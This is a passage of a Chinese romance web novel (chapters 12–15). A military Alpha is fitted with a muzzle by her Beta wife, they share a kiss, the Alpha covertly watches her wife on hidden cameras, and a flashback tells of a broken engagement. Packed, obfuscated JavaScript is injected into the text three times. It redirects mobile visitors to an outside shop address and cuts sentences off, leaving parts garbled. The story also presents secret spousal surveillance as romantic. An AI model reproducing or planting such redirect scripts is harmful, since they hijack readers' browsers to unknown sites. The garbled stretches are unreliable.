余非晚却以为对方是在问止咬器,像是一下子找到话题,急急忙忙道:“你们不是担忧少将易感期乱咬吗?” 想到这里,余非晚还挺为裴烬野感到心酸的,高等级Alpha固然是强大的代名词,但也代表着惊人的破坏力,尤其是易感期神志不清的时候,连最亲近的伴侣都会感到害怕,从而拒绝抚慰。 于是,专供Alpha使用的止咬器产生,它可以有效制止Alpha为了标记,过分撕咬Omega腺体,而且内设特殊电流,可在危机时刻,唤醒Alpha理智。 再说,Alpha与Omega结合都如此,更别说没有腺体的Beta,为了防止脖颈被咬断,几乎每个Beta与Alpha结合的家庭都必须购买。 之前,余非晚看见裴烬野戴面具,先是震惊,而后就很快解释,也是因为此。 余非晚叹了口气,欲言又止地劝道:“长官这次可能确实会过分一点,她都单了二十六年了,这还是第一次请长假渡过易感期。” 祝敛青眉梢稍挑,明白眼前人似乎误会了什么,却没有阻拦。 而余非晚还在继续:“你不必太过担忧,长官请假前还特地多申请了几支抑制剂,出现问题她会自己解决的,她是我见过最能控制自己的Alpha。” “但是……”余非晚话锋一转,笑得揶揄:“但是她今年的额度就剩两支了,到时候恐怕得多拜托你了。” 祝敛青敏锐地抓到重点。 裴烬野这段时间都在打抑制剂? 余非晚还沉浸在自己的世界里,笑得暧昧:“不过也不要紧,反正她之前攒的假期很多,到时候再请就好,就是有点累你。” 祝敛青没有反驳,只是抿紧唇角。 余非晚还以为Beta害羞,摆了摆手就止住,回到之前话题:“过滤口罩真的很重,会压得鼻梁疼,还是止咬器更好,嫂嫂你给长官换一个呗。” 陷入思绪的祝敛青骤然回神,眼眸中的情绪晦涩复杂,但语气变得认真:“好的,我会去看看的,谢谢你的提醒。” 余非晚不在意地挥了挥手,笑道:“这有什么?” 心里却默默松了口气,她都这样努力了,长官应该不会偷偷捏爆她的脑袋吧? 12. 第十二章 红日垂落,倦鸟在橙红光晕里挥动翅膀,拥挤的高架桥亮起排排光束,映着各自广告的大屏在此刻最是显眼,但都会被层层树林隔绝,处于市中心的别墅,在送走不速之客后,便陷入静谧。 祝敛青半靠在沙发上,似乎在查什么东西,屏幕的光落在她好看的眉眼,忽明忽暗。 裴烬野在厨房里洗东西,铁片碰撞,发出清脆声响。 丢在旁边的通讯器响了又响,满屏幕都是余非晚的辩解。 裴烬野没看,懒得理会这人。 耳朵听到外套声响,是祝敛青的脚步声,来回走了一趟,似乎还拿了些什么东西。 碍于位置,裴烬野无法探看,只能默默加快了洗东西的速度,暗自思索,这次要用什么借口留在祝敛青身边。 却不想,刚走出厨房就被叫住。 裴烬野眼里闪过一丝喜色,单手调整了面具,确保万无一失后,才走到祝敛青身边。 “试一试这个,”祝敛青不等她开口就道。 裴烬野一愣,不由低头看去,便见祝敛青指尖的物件。 繁琐银丝勾勒出半张脸的轮廓,靠近耳边的位置有黑色皮绳相连,只需一眼,裴烬野就猜出这物件的作用。 防止Alpha失控乱咬。 她薄唇碾磨,一时无法反应祝敛青说的试一试是什么? 这个止咬器? 妻子给她买了止咬器? 她知道这意味着什么吗? 千万个念头闪过,却都被压了下去,只有呼吸微微加重,赤色眼神暗了下去。 另一人不曾察觉,陷在自以为的愧疚里。 她见裴烬野没有试,便忍不住放柔语气,说“面具戴着不舒服,为什么不告诉我?” 是担心她? 裴烬野放低了声音,语调是一如既往地温和,道:“没事,不必为我操心。” 话虽这样说,但视线全始终停在祝敛青的手上。 就好像得到玩具的懂事孩子,第一时间不是惊喜,而是愧疚,觉得自己让对方操心了。 想到这里,祝敛青眉眼更柔,只对裴烬野招了招手,同时命令道:“过来。” 若不是命令式,裴烬野还得和她推让几轮,在讲求效率的祝敛青眼中,实在烦人,于是直接命令。 裴烬野是个少将,也是个好士兵,骨子里就刻着服从命令四个字。 听到这话,本能往前迈出一步,紧接着左腿往前曲折,右腿往后一跪,以一个非常标准的半跪姿势立在祝敛青的面前。 如果不是怕吓到祝敛青,她甚至两条腿都可以跪下。 在妻子面前下跪算惩罚吗? 不,算是奖励。 隐藏的目光炙热,一点点贪婪扫过妻子好看的眉眼、线条优美的肩颈,再落到白皙指尖,以及那个将取代面具、戴在她脸上的止咬器。 妻子送她的第二件礼物。 在同一天,她受到了妻子的两件礼物。 这让裴烬野感到无比欣喜,但按住了想要和余非晚炫耀的手。 烦人精。 占着面具还在,裴烬野无声骂了一句。 而祝敛青眼神讶然,不过很快就归于平静。 这样刚好方便她查看。 她抬起手,裴烬野仰脖伸脸,凑到祝敛青的指尖前。 没有半点自己摘下的想法,裴烬野就是那么会得寸进尺的人。 妻子保持冷淡,她就温吞靠近。 妻子稍退让,她就跨步直追,恨不得整个人都贴到妻子身上。 灰青的眼闪过一丝犹豫,不过很快就被眸光掩盖。 温凉的指尖碰到面具边缘,还没有抬起就感受到金属的厚重。 裴烬野居然戴了一整天。 祝敛青不由拧紧眉头,镜片下的眼眸情绪复杂,无奈叹出一口气,声音也因此被柔和,道:“那么重,你怎么不说?” 裴烬野看得愣神。 妻子生得好看,她是知道的。 每次以她做封面的财经杂志都是最难买的,大早上就得赶人去排队,稍晚些还要等明天加印。 不仅是因为她的能力出众,将已在下坡路的祝氏集团拉回巅峰,也包括她精致的面容。 常有人在评论中感慨,怎么会有一个Beta如此优秀耀眼。 可这样优秀耀眼的人,此刻就在自己面前。 她穿着宽松而随意,棉麻质地的衬衫与同色长裤,栗色长发依旧被盘起,露出修长脖颈,在附身弯腰靠近时,领口微垂,便能瞧见细直的锁骨。 分明是极冷淡的人,却对自己露出无奈又柔和的表情。 与封面上冷淡又锋锐的商业精英形成鲜明对比。 裴烬野抿了抿唇,极力控制才能让呼吸趋于正常。 面罩太重,祝敛青稍用了些力才将它扯下。 刚看清裴烬野的脸,她就忍不住轻呼了一声。 军用面罩需考虑到各种极端条件,自然拼命往里堆料,以至于没有半点舒适性,压得裴烬野从鼻梁到脸侧一圈都凹陷,红得厉害。 “这么难受怎么不告诉我?”祝敛青忍不住再说,眉头越发拧紧。 说试一试的是她,不断委屈自己、主动配合的人却是裴烬野。 甚至连这个面罩,都是因为她的隐隐抵触而戴上,一戴就是一整天。 想到这里,再铁石心肠的人也会愧疚自责,忍不住道:“疼不疼?” 那人摇了摇头,依旧体贴温和:“没事的。” 裴烬野真是打心眼里觉得没问题,一个面罩能有几斤?平常训练的枪械都比这个重,只是戴着就能被妻子靠近,裴烬野恨不得无时无刻不戴着。 如此难得的一句真话,却没有得到祝敛青的相信。 她干脆利落道:“以后别戴了。” 紧接着不等裴烬野说话,又道:“你现在处于易感期?还向军备部申请了双倍的抑制剂?” 裴烬野一愣,下意识道:“你怎么知道的?” “那就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538049|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,”祝敛青语气笃定。 她语气一转,又问:“为什么瞒着我?” 裴烬野眼帘垂落,看似在犹豫,实际是在思索暴露这件事,是否能推动她们的关系。 答案当然是有。 裴烬野眼帘颤了颤,顿时露出强撑又无法辩解的表情,吞吞吐吐道:“对不、” “裴烬野,我们是合法的妻妻关系。” 话还没有说完就被打断,习惯上位者状态的祝敛青还未结婚多久,暂时不大适应自己的妻子身份,这样的话也说出一种居高临下的感觉。 就好像办公室里上司在说,这个方案不行,重做。 换作旁人,大抵会心生忤逆,但裴烬野只会跪得更直。 她的妻子亲口承认着她们的关系。 随意搭在膝盖的手收紧,死死掐住肉,才能控制住笑。 裴烬野抬起眼,赤色的眼眸愧疚又真诚。 “我只是不想让你担心,只是易感期而已。” “双倍的抑制剂也是而已?我一个Beta都知道这有多危险。” 祝敛青被气笑,忍不住加重语气,斥道:“裴烬野,你太不把自己的身体当回事了。” “不管是易感期还是过滤面具,总想着自己抗,如果我没有发现,你还想自己抗多久?” 祝敛青越说越气,甚至多了一丝恨铁不成钢的味:“即便是合作伙伴,也不能这样自己硬抗吧?更何况我们都有更进一步的打算,就该互相坦诚。” 裴烬野忍不住想笑,只能垂眼遮挡,唇角越抿越紧,下颌连着脖颈绷成一条线,看起来很像愧疚反思。 可心里全是祝敛青开合的唇。 柔软的、水盈盈的。 想亲。 想亲担忧自己的妻子。 裴烬野咬紧口腔里的软肉,舌尖舔舐而过,脑海里全是祝敛青的模样。 夜晚的触碰总是浅尝辄止,细碎的啄吻在脖颈、在腰间,却始终不敢触碰真正的禁区。 她怕妻子生气。 虽然她做出的事情已足够过分。 “裴烬野。” 妻子又在连名带姓地喊她的名字,像是喊狗,像是奖励。 “以后不许这样了,知道吗?” 低垂的视线落在祝敛青指尖,分明想蹭过去,却只能钉死在原处。 好可惜。 裴烬野语气失落,低低说了一声:“好。” 明明对方的态度诚恳,但祝敛青还是感到一丝不对,她忍不住加重语气,像自己在办公室警告下属,说:“你答应了我什么,重复一遍。” 好像训狗。 裴烬野抬起头,赤色的眼眸澄澈又无辜,认真重复:“我们是合法妻妻,有什么事都要告诉你,不能自己硬抗。” 还会自己前后结合重复? 这可比那些愚蠢下属会听话,祝敛青微微点头,终于露出满意神色,却没注意到裴烬野偷偷往前,已跪到她的面前,只需稍稍偏身,腿就会贴着腿。 13. 第 十三章 训完狗、不,是教育完妻子。 祝敛青将面罩丢到一边,拿回原本的止咬器。 实实在在拿到手中,才有对比。 相比之前沉甸甸的金属块,止咬器明显轻了一倍,兼顾美观姓与舒适性,唯一不大好的是旁边的小物件。 在危急时刻,可以用遥控器控制电流,刺激、唤醒失控的Alpha。 祝敛青原本并不想那么做,但市面上的止咬器都必须配备这样的安全设施,另外…… 祝敛青咬住下唇,垂落的发丝遮掩的耳垂微红。 军用抑制剂的药效是出了名的强劲,普通Alpha只需一支就能渡过整个易感期,而裴烬野甚至申请了双倍。 为了安全起见,止咬器不能不戴。 思绪到这,祝敛青不由道:“你先试一试舒不舒服。” 话到这儿,突然一顿,她又强调:“只是试一试,以后除了易感期,你都不用戴了。” 她不想裴烬野总是委屈自己。 “没事,”裴烬野微微仰头,再次示意对方帮忙。 那人没有多想,下意识将面具扣在裴烬野脸上。 指尖无意拂过脸颊,掀起一阵酥酥麻麻的痒。 想咬。 裴烬野咬住自己,极力压制心底的渴望。 而祝敛青却无所察觉,浑然不知自己已在裴烬野脑子被舔舐过无数遍。 脑后皮扣收紧,手落了下去,祝敛青眼底闪过一丝惊艳。 裴烬野的五官轮廓本就立体,在繁琐的银丝勾勒中,更显得深邃,就好像碳素笔描绘的画像,在半遮半掩中,尽显优越骨相。 仅露的一双石榴红眼眸,绯红中镶着黑籽,没了其他部位争艳,更具冲击力。 真奇怪,别人戴上面具,是遮掩锋芒,柔和轮廓。 可偏偏裴烬野相反,温和被弱化,常挂在唇边的笑意不再,反而更具危险性,如果不是她的动作更克制温和,祝敛青都要怀疑她本身就是这样。 且,如此与她们想要降低威胁感的初衷完全相反,祝敛青却没有提醒,甚至仍由裴烬野一直戴着。 除了那怀疑的探寻,或许也有一丝不自知的私心。 “这、这个,” 止咬器会限制嘴唇的开合,裴烬野刚说话时会有些不适应,不过很快就熟练,重新道:“这个很轻,戴着很舒服。” “但是没必要,”祝敛青阻拦。 “它让你感到安全,”裴烬野难得坚持。 为此,她又强调补充道:“很轻,一点感觉都没有。” 祝敛青张了张嘴,想要反驳又止住。 她想,可能是裴烬野也不习惯不隔着东西的触碰。 再说,这也不是今天的重点。 话绕了一圈又咽回去,祝敛青换了个问题:“那你的易感期呢?” 裴烬野悄悄又靠近一点,曲折的腿与膝盖都抵在沙发边缘,听到这话,也不在意。 她只说:“有抑制剂,我可以控制好自己。” 祝敛青拧紧眉头。 裴烬野便补充:“遥控器放在你那边,如果我失去理智,你可以随时电晕我。” 作为Alpha,裴烬野十分了解止咬器。 “那其他呢?”祝敛青突然问。 “其他?”裴烬野难得卡词,有些迷茫。 提到这个话题,祝敛青明显有些难为情,用手撩起散落发丝,挽至耳后,耳垂更红。 她声音更低,掺着一丝羞赧,道:“你不需要我帮忙缓解吗?” 裴烬野明显愣住,悄悄靠近的腿往旁边一挪,膝盖终于靠到祝敛青的小腿。 同意还是放缓? 同一个问题再次被放在天平上,裴烬野一面不断告诉自己,还不到时候,还需要耐心等待,一面又忍不住松口同意。 这已经是妻子的第二次邀请了。 贴着在一起的皮肤滚烫,裴烬野呼吸微重,像一只馋肉的野狗在不断吞咽着唾沫。 而祝敛青还在不断往“同意”的那一面加码。 “易感期很难受不是吗?” 祝敛青不知道自己为什么要劝,可能真的是愧疚作祟,她自喻为公平的商人,却占尽合法妻子的便宜,总叫她不断为自己牺牲。 而且未分化前的教育课,曾无数次告知她们,Alpha与Omega的易感期有多难受、多难捱。 可裴烬野却在有伴侣的情况下,独自面对。 总不能一直这样吧? 缓解妻子的痛苦,也是她作为合法伴侣应做的义务。 祝敛青轻轻吸了一口气,眼帘发颤,语气却坚定:“裴烬野,我们试一试吧。” 不等对方回答,她就快速补充:“我只有一个要求,这个过程中你必须一直戴着止咬器。” 祝敛青不想每天满脖子咬痕地踏入公司。 话到这儿,她抬眼朝裴烬野看去,不见冷淡疏离的眼眸里蕴着一汪水,盈盈要往下坠。 “还有……” 这话有些难以启齿,祝敛青停顿了下,好不容易才说出口:“我、我经验不是很多,可能会受不了……” 裴烬野视线落在她的唇间,被咬过的地方凹出小坑,沾染水光后,更加嫣红、更加可口。 妻子又在勾引我。 裴烬野无比确定地想,被过长黑发遮挡的后脖颈溢出透明液体,稍稍散去的信息素,此刻又淹没了整个房屋。 记得余非晚出门前,还特地提醒裴烬野控制一点,不要像个刚分化的Alpha一样控制不住自己的信息素,弄得伴侣满身都是。 但面对祝敛青,裴烬野没有自控力。 妻子勾勾手指,她就恨不得匍伏妻子脚边摇尾巴。 更何况她说了那么勾引人的话。 “如果我实在受不了……可能会按下遥控器。” 祝敛青脸上满是歉意,好像自己说了什么很过分的事情,搭在沙发的手无意识抓紧扶手,耳垂红得滴血。 她强忍羞怯,声音微颤:“我尽量坚持,但是……” 她说话断断续续的,嘴上说着没多少经验,实际上一点都没有,从小就被家族订下婚约,但实际接触并不多,整个学生时期都被各种补习和比赛填满。 祝家需要一个完美的继承人,即使她分化失败。 “对不起。” 剩下的话绕了一圈却止于唇间,无法说出口,祝敛青只能内疚地道歉。 妻子总是在勾引我。 裴烬野忍不住磨了磨后槽牙,脑中本能与理智在打架,表面却露出祝敛青熟悉的温和笑容,无奈地道:“不用道歉。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538050|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不是说好不要那么客气吗?” 祝敛青有些不自在,裴烬野说话时,她一直扭头看着窗外。 此刻落日已尽,夕阳的余晖散去,但黑夜又未赶来,于是天地被深蓝色所笼罩,绿叶低低垂落着,风一来,它们就晃起,发出窸窸窣窣的响动。 这是祝敛青在一天之中最喜欢的时刻。 白日的忙碌停滞,夜晚的安排还未追赶上,她可以暂时喘息片刻。 可现在,她精神紧绷,连呼吸都有些不顺畅。 明明是这样的对话已经发生第二次,她应该更顺畅自然,但结果却比第一次还糟糕。 是因为这次她与裴烬野的关系更近吗? 又或者是这次的感受更真切,贴在她小腿的膝盖传来炙热温度,不断提醒她,这是一个处于易感期的高等级Alpha。 她需要抚慰,会索求更多。 完全不同于她之前认识的那个温和有礼、事事顺着她的裴烬野。 “祝敛青。” 裴烬野突然开口。 祝敛青本能回神,低头看向对方。 “摸摸我,”裴烬野声音有些低哑,眸光低暗,全是压抑的欲念。 之前就做过的事,现在变成本能反应。 祝敛青刚抬起手,裴烬野就贴了过去,靠进她掌心。 银丝冰凉坚硬,皮肤细腻滚烫,两种截然不同的感受出现在祝敛青掌心,与隔着厚重面具的感受完全不同。 莫名的,她突然想起醒来时的黏腻,思绪未散开,就被裴烬野仰头看来的视线掠夺。 此刻她们依旧一跪一坐,伸出的手像是赏赐,而裴烬野不断贴近。 明明是处于上位者的姿态,祝敛青却变得被动。 赤色眸子与灰青的眼相撞。 曲折的右腿又跪下去一条,裴烬野绷紧脊背,抵得沙发往后缩,两人距离更近。 这次不用裴烬野提示,祝敛青就已知道自己该做什么。 她有些生疏地低头,一点点靠近裴烬野的唇。 烫。 这是祝敛青碰到裴烬野时的第一感受。 裴烬野越发仰头,想抬手又怕吓到妻子,只能用这样完全无害的姿态,一点点试探。 先是一次又一次的短暂触碰,还未分开片刻,裴烬野就快速靠近,继而轻轻抿住对方的唇。 祝敛青闭上眼,垂落的手揪住旁边毯子,浓睫不断发颤,偶尔裴烬野鼻梁顶到镜框,都会让她感到紧张。 而裴烬野的视线始终停留在她脸上。 一边吻一边看着妻子,想更过分,又怕妻子接受不了,只能克制地撬开柔软的唇。 想咬、想要吃掉妻子。 得不到渴望,得到却要不停压制住更多欲望。 裴烬野简直要被逼疯,后颈越来越黏腻,沾湿布料。 她听到她哑着声音,温声哄道:“不着急好吗?” “易感期确实有点难受,但没有到控制不了的地步。” “我们慢慢来,一步一步来,不要着急。” 才怪,她急得要命,恨不得将祝敛青拆骨入腹,让她流泪、让她发颤,将她完全填满,听她哭着一遍遍求着自己,才能将满腔渴望缓解一点。 但实际上,她主动松开了祝敛青的唇,轻声道:“没事的。” 14. 第十四章 没事的代价是,裴烬野夜晚又偷偷踏进妻子的房门。 外加,两支抑制剂,还有一件妻子白天穿过、又丢进洗衣机的衬衫。 失控之下,亚麻布料被揉皱、咬坏,零零碎碎都是水痕,即便送去最好的干洗店都于事无补。 所以一觉醒来,穿着小熊围裙、戴着止咬器的裴烬野,在含笑送别又要上班的妻子后,开始苦恼从哪里买到同款。 各大奢牌都未见同款,最后耐着性子拨通了裴家的通讯器,才知晓她们这种上流家族的衣服,都有自己专门的定制渠道。 从小在荒芜星球、也就是传说中贫民窟长大的裴烬野挠了挠头,最后还是得求助于自己的副官。 余非晚昨夜翻来覆去没睡好,生怕自己坏了长官的好事,听到通讯器响起,“啪”得一下就爬起来,冲到裴烬野面前。 还没有来得及道歉,就收到一袋密封起来的、非常眼熟的衬衫。 甚至不能说是衬衫,如果余非晚不是前一天还见过它的话,大概会直接称作一块烂布。 裴少将和祝女士昨夜玩得那么花吗…… 余非晚的表情变化,五官都扭曲在一圈,忍不住挤出一句话:“我亲爱的长官大人,您确定您要我拿这一块烂布,找人定制一件一模一样的衬衫?” 弄坏就直接丢掉啊,为什么非要做件一模一样的,要不是有什么特别的回忆…… 等等,对于她的长官而言,确实好像应该有一点美好的回忆。 看着手里的破布,再想到那个满身浓郁橡木苔味的Beta。 余非晚不得不为对方默哀一秒。 她甚至没有Omega的恢复能力,却要承受一个单身二十六年、正是如狼似虎易感期的顶级Alpha的摧残。 这个可怜的Beta,估计一整晚都没睡吧,现在瘫软在床,连一只手指都抬不起来了。 余非晚面露同情之色,一时间连对裴烬野的刁难都没那么抵触了。 谁会拒绝帮助一个受尽摧残的Beta? 只是一件衣服而已。 余非晚叹了口气,眼神复杂地看了眼简直不是人的上司。 完全不知自己几个小时后,将这件衣服送到专门的裁缝店,就遭到店主长达一个小时的控诉。 因为Alpha信息素残留过高,她们店里手艺最好的Omega,发情期被迫提前,另外,店里店外都得排气消杀,以免影响到其他客人。 但这些都是后话了,余非晚现在还处于兴奋中。 裴烬野向她承诺,等这次假期一过,就带黑翅鸢团出门溜达,收拾一个不安分的家伙。 已经闲了半年,只觉骨头都要生锈的战斗狂余非晚连声答应,终于从愁容满面到笑容灿烂。 告别副官,裴烬野将房门一关,还没有开心几秒,心情又因妻子的临时通知而低落下去。 【抱歉,我很好的朋友专程来找我,今晚不能回来吃饭了。】 唇边的笑意一点点散去,眼底阴翳,周围气氛瞬间变得压抑。 今早离开前,妻子明明答应她会回家吃饭。 没有第一时间回讯息,裴烬野拿起通讯器,点入一个加密的APP中。 祝敛青办公室的画面瞬间出现在屏幕中。 而这样的监控不止一个,从家里到祝敛青常用的轿车,甚至是办公室里。 那些祝敛青曾感受到隐秘视线,全来自于她。 只是可惜,办公室此刻空无一人。 裴烬野面色更冷,将视频拖到几小时前。 妻子走进办公室,助理送来堆积如山的公务,继而整个早上祝敛青都在忙着处理它们。 这些裴烬野都已看过,就在方才,她一边辛苦寻找同款,一边也在看着监控下的妻子。 时间条拖动,直到裴烬野开门的瞬间,祝敛青也拿起了通讯器。 大概就是她那个很好的朋友的消息。 祝敛青脸上露出为难神色,叫来秘书询问今天行程。 但秘书告知她,今天还有很多文件要处理。 祝敛青纠结片刻,还是选择了拒绝。 那为什么还会拒绝自己? 裴烬野沉着脸,继续往下看。 只见三分钟前,有人急匆匆推开房门,开口就喊:“阿青,你怎么可以抛弃我……” ——嘭! 话还没有说完,手里的通讯器就被捏爆,黑烟从指间冒出,发出焦糊的味道。 她忍不住斥骂道:“阴魂不散的跟屁虫。” 她当然知道这个人是谁,早在结婚前就查清祝敛青全部过往,甚至连祝敛青都记不清的那些小事,裴烬野都能一一道来。 祝敛青性子清冷,真心好友也不过两人。 一人就是视频里叽叽喳喳,尽惹人烦的沈乐。 她背景与祝敛青相似,同样分化成Beta,性格开朗闹腾,从幼稚园就开始粘着祝敛青,一路跟到小学、初中、大学,现在依旧阴魂不散。 乃至裴烬野回忆起祝敛青青春期的照片,有三分之二都有沈乐的影子。 并且祝敛青还在有一次的采访中提到她! 单是这两天假期,沈乐就给祝敛青发了不少消息,以至于祝敛青时不时就要看一眼通讯器。 裴烬野嫉妒得发狂,却只能装作什么都没看见。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538051|203873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至知道沈乐此刻找上门是为了什么。 她们这种家庭的孩子,生日只是应酬的借口,每次都要在宴会上装模作样,当个完美的人偶娃娃。 所以,她们会在生日结束的后几天,互相给对方补过生日。 这次也是一样。 讨厌的、阴魂不散的跟屁虫。 烦人精。 讨厌鬼。 不是已经拒绝了吗,干嘛还舔着脸上门,偷走她的妻子。 裴烬野又气又嫉妒,一想到妻子为了她推倒繁琐工作,还拒绝了她的晚餐邀请,就忍不住情绪暴躁。 足足冷静了十分钟,裴烬野才翻出崭新的通讯器,熟练登录之后,一字一句地回复妻子。 【好,都说了不用道歉。】 怕祝敛青感觉她态度不好,裴烬野还去余非晚那边偷了几个仓鼠表情包,这家伙除了战斗外,就喜欢养仓鼠,每天都要拍几百张仓鼠表情包发动态。 裴烬野以前都把她屏蔽了,前两天突然觉得仓鼠可爱,这才将人放出来。 琢磨片刻,裴烬野挑了个最可爱的捧爪仓鼠发出去。 【鼠鼠为你开花.jpg】 【难得和朋友见面,祝你玩得开心,晚饭可以随时回家吃,没什么大不了的。】 【需要我晚上去接你吗?】 丢在手边的通讯器震动。 祝敛青一边回应对方,一边拿起通讯器看消息。 旁边的朋友瞧见,忍不住阴阳怪气道:“果然是结了婚的人,不回家吃饭要报备,吃饭也要回人家消息~” 祝敛青停下打字的手,掀帘时无奈嗔怪了一眼。 知道她心里有气,明明是最好的朋友,却连发生什么都不知道,突然就要接受祝敛青的退婚、结婚。 可前三个月太忙,沈乐与另一个好友都在外地,而这些事又复杂,一两句根本解释不清,如果不是沈乐急匆匆杀到办公室,不知道还要拖多久。 沈乐越想越气,声音更怪:“哎哟,要不是我那天看了眼新闻,都不知道我最好的姐妹结婚了~” “真是恭喜哦~” 眼瞧着沈乐越来越生气,祝敛青连忙堵住她的嘴,道:“行了,不是想听我解释吗,现在还听不听了?” “听!” “当然要听!” 沈乐当即一拍桌,恶狠狠道:“我倒是要听听这家伙到底怎么拐走我好姐妹的!” 砰砰拍桌的声音吓到旁边的客人,祝敛青只得叹气,劝她坐下后,又道:“我说她是自己送上门的,你信吗?” 沈乐“哎”了一声,满脸诧异。 “就在我和许峥退婚的那天……” 15.第十五章 对于退婚,祝敛青早有预料。 许家世代从军,在帝国中也算是有头有脸的实权家族。 当初,祝家能与许家定亲,也是费尽周折,许诺了诸多好处。 且,许峥只是幼女,前头还有两个已经分化成Alpha,并从军的姐姐。 而祝敛青在幼年就做了基因检测,医生推断她有极大可能性分化成Alpha、Omega。 一个不大重要的幼女,换一个高等级Alpha或Omega,并是板上钉钉的继承人祝敛青,又能得到财力雄厚的亲家帮助,这笔买卖实在划算,所以许家才捏着鼻子认了。 可却不料,祝敛青竟分化失败,而许峥比前头两个姐姐更争气,不仅分化为高等级Alpha,还在家族的帮助下,步步高升。 如此对比下,许家自然生出悔婚的想法。 只是她们这些用了祝家太多钱,一下子退婚,很容易被外人鄙夷。 所以只能将这事一拖再拖,原定的二十四岁结婚,直到祝敛青二十七岁也没提起。 许峥更是以工作为由,多次拒绝见面。 许家逼迫退婚的态度明显,祝敛青不是看不出来,但她不得不装聋作哑。 年轻的继承者不管能力如何,总会遭到质疑,特别是在她分化失败后,各种声音层出不穷。 尤其是祝家的老一辈,始终不肯放权,叫她束手束脚,难以真正做主,甚至这背后还有祝敛青的姥姥,她理应成为祝敛青最强的后盾,却与其他人站在一边。 祝敛青无可奈何,只能披上林家的虎皮,摆出许峥未婚妻的名号,才能让这些人收敛一点。 直到这两年,祝敛青逐渐站稳脚跟,才彻底不需要这样。 但她不需要,并不代表集团不需要,无需祝家实际上的帮忙,只要一点牵扯,就能让某些关卡变得轻松,而不是大把大把的钱撒入水中,却不见水花。 所以不管许家如何冷漠,祝家的态度都是一拖再拖。 直到祝敛青收到消息,许峥与一个出身优越的Omega在接触。 祝敛青想,也该是时候了。 所以,她主动邀约见面,向许峥递出早就拟好的退婚协议。 协议条例清晰,还主动给予了许峥许多补偿,作为许峥没有在祝敛青最艰难时刻退婚的感谢。 坐在对面的许峥不知在想什么,只是盯着协议书仔仔细细看了许久,而后才慢吞吞签字。 当最后一笔落下,祝敛青不禁松了口气,又忍不住皱眉。 满脑子都在想失去许家这面大旗后,集团又要为打点关系花费多少,而且,有些资源不是有钱就能拿到。 思绪杂乱,她甚至连许峥什么时候走的都不知道。 她应该提前为对方安排一辆车的,毕竟外头在下大雨,电闪雷鸣间,弹珠大的雨点不断砸落,将整个城市都淹没在灰白的水汽中。 哪怕退婚成为陌生人,也应该留下一个不错的印象。 祝敛青有些懊恼地走出咖啡店,预想中的雨水不曾打下,漆黑的伞先一步挡在她身前。 祝敛青一愣,不由转头看去。 那是一个非常奇怪的人。 黑发红瞳,大部分眉眼都被阴雨遮挡,看不清全貌,但身高腿长、宽肩窄腰,气质凌厉而极具压迫感。 但为什么说她奇怪呢? 因为即便是许峥那种喜欢把军衔挂在嘴边的自大家伙,在寻常场合也会换上常服,而眼前人居然穿的是军式礼服,衬衫领带西装高筒靴,甚至连斗篷、帽子都不落。 哪里像是在咖啡店门口? 简直是在参加自己的授勋仪式。 想到这个,祝敛青下意识看了向对方肩膀,银制二星,少将级别,金银勋章从左胸到右肩密密挂满,闪得晃眼,要不是年纪稍轻,估计早就更进一步了。 她面色略微凝重,下意识退后一步。 那人则往前迈了几步,手中雨伞也紧紧跟随,将雨弹严严实实挡住,发出噼里啪啦的的声音。 两人的距离被缩短至半米,有些亲密。 不等祝敛青拧眉,那人又主动退后一步,拢在祝敛青身上的阴影撤走。 一米,与陌生人最舒服的社交范围。 “你好,我叫裴烬野,”对方主动伸出左手。 她的声音有些哑,语调是长期处于军队生活中的一板一眼,不过语气还算温和。 祝敛青伸出手。 对方的手烫得惊人,衬得祝敛青指尖冰凉,这样的温差难免让人不适,但幸好,裴烬野很是礼貌,甚至没有握紧,指尖轻碰掌心后就撤离。 祝敛青放下手,大拇指悄然压了下掌心,抹去那一点极微弱的痒,对裴烬野的感觉缓和了些。 奇怪,但勉强谈得上礼貌。 不等祝敛青开口,那人就一本正经地道:“我来自于帝国第三军团,十八岁分化成S级Alpha,二十二岁第一军校优秀生毕业,同年参军,年初少尉,年底成为上尉,参与过六次S级战役,十六场A级战役,零零碎碎加起来一百七十一次,无一败绩。” “现在我二十五岁,军衔二星少将。” “我知道现在有些冒昧,但是……” 她停顿了一下,眼眸弯起,嘴角上扬,露出一个温和至极的笑容,道:“听说你刚刚退婚,能不能考虑一下我?” “我想我应该比你的前未婚妻更优秀。” “啥?!” “她真是自己送上门的?!”震惊又诧异的声音打断回忆。 祝敛青余光瞥见周围人又朝这边看来,只好招手叫来服务生,提出要换包厢的想法。 沈乐却等不及了,从对面坐到祝敛青身边,不可思议道:“她不会是骗子吧?” 